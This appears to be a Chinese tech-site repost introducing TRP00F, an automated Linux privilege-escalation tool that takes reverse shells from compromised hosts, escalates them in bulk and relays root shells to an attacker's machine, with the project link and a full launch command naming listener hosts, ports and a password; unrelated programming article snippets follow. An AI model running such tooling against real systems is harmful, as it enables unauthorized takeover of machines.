TRP00F (剥皮机) 自动化权限提升工具

ops/2024/11/14 5:55:53/

TRP00F

项目地址:https://github.com/MartinxMax/trp00f

TRP00F 是一个完全自动化的 Linux 权限提升工具。被控制的端点通过反向 Shell 连接到权限提升机器,而权限提升机器将自动将权限提升到指定的攻击者机器。

TRP00F 是一个活跃维护和更新的工具,随着时间的推移,功能不断增加。

有趣的一点是,你可以将 TRP00F 部署在其他服务器上,充当一个“剥皮机”。任何连接到 TRP00F 的主机,其 Shell 都会尝试进行批量权限提升,然后将提升后的 Shell 连接到攻击者的机器上。

image-2.png

使用

$ python3 trp00f.py -h

image.png

探测并获取反向Shell

$ python3 trp00f.py --lhost 10.10.16.18 --lport 10022 --rhost 10.10.16.18 --rport 10090 --pkhttpport 10033 --lxhttpport 10091 --password 'admin@it'

image-1.png


http://www.ppmy.cn/ops/93292.html

相关文章

C++新特性-智能指针

std::weak_ptr std::weak_ptr是一种弱引用&#xff0c;它不能单独使用&#xff0c;设计之初是为了配合std::shared_ptr&#xff0c;解决后者设计上存在的问题。 使用注意&#xff1a; 不能直接指向原始指针:std::weak_ptr<int> wp (new int);只能指向std::shared_ptr对象…

系统架构师案例分析题的解题技巧

1. 仔细阅读题目 确保理解题目所描述的系统背景、需求和问题。标注关键信息&#xff0c;如系统的规模、业务特点、性能要求等。 2. 明确问题类型 判断是关于架构设计原则、质量属性优化、技术选型还是其他方面的问题。例如&#xff0c;如果是关于性能优化的问题&#xff0c;要重…

MySQL 存储引擎之MyISAM

MyISAM 是 MySQL 中的一个存储引擎&#xff0c;它在 MySQL 的早期版本中非常流行&#xff0c;并且在某些特定的应用场景下仍然有其独特的优势。 MyISAM 存储引擎特点&#xff1a; 不支持事务&#xff1a;这意味着一旦发生崩溃&#xff0c;恢复过程可能比较复杂。表锁&#xff…

部分性能探索

函数节流 函数节流是指在一定时间内只执行一次函数&#xff0c;比如鼠标滚动事件&#xff0c;如果没有限制&#xff0c;那么每次鼠标滚动都会触发大量事件&#xff0c;导致浏览器卡顿甚至崩溃&#xff0c;而通过函数节流可以使得事件执行稳定流畅。 function throttle(fn, wai…

同构字符串

给定两个字符串 s 和 t &#xff0c;判断它们是否是同构的。 如果 s 中的字符可以按某种映射关系替换得到 t &#xff0c;那么这两个字符串是同构的。 每个出现的字符都应当映射到另一个字符&#xff0c;同时不改变字符的顺序。不同字符不能映射到同一个字符上&#xff0c;相…

Django中的Q对象

文章目录 Django中的Q对象三种使用方式Q对象中常用的属性或方法 Django中的Q对象 from django.db.models import Q在Django框架中&#xff0c;Q 对象是 django.db.models.Q 的一个实例&#xff0c;它用于创建复杂的查询表达式。 Q 对象允许你构建包含多个条件的查询&#xff0c…

【网络】代理服务器

目录 正向代理 反向代理 个人主页&#xff1a;东洛的克莱斯韦克-CSDN博客 正向代理 正向代理&#xff08;Forward Proxy&#xff09;是一种常见的网络代理方式&#xff0c;它位于客户端和目标 服务器之间&#xff0c;代表客户端向目标服务器发送请求。正向代理服务器接收客户…

【深度学习】卷积神经网络(CNN)简介

文章目录 1. 前言2. 什么是卷积神经网络&#xff08;CNN&#xff09;&#xff1f;2.1 卷积神经网络&#xff08;CNN&#xff09;的背景2.2 CNN 如何运作&#xff1f; 3. 人工神经元在 CNN 中的作用4. CNN 中的特征提取5. 什么是池化层&#xff1f;6. 卷积神经网络&#xff08;C…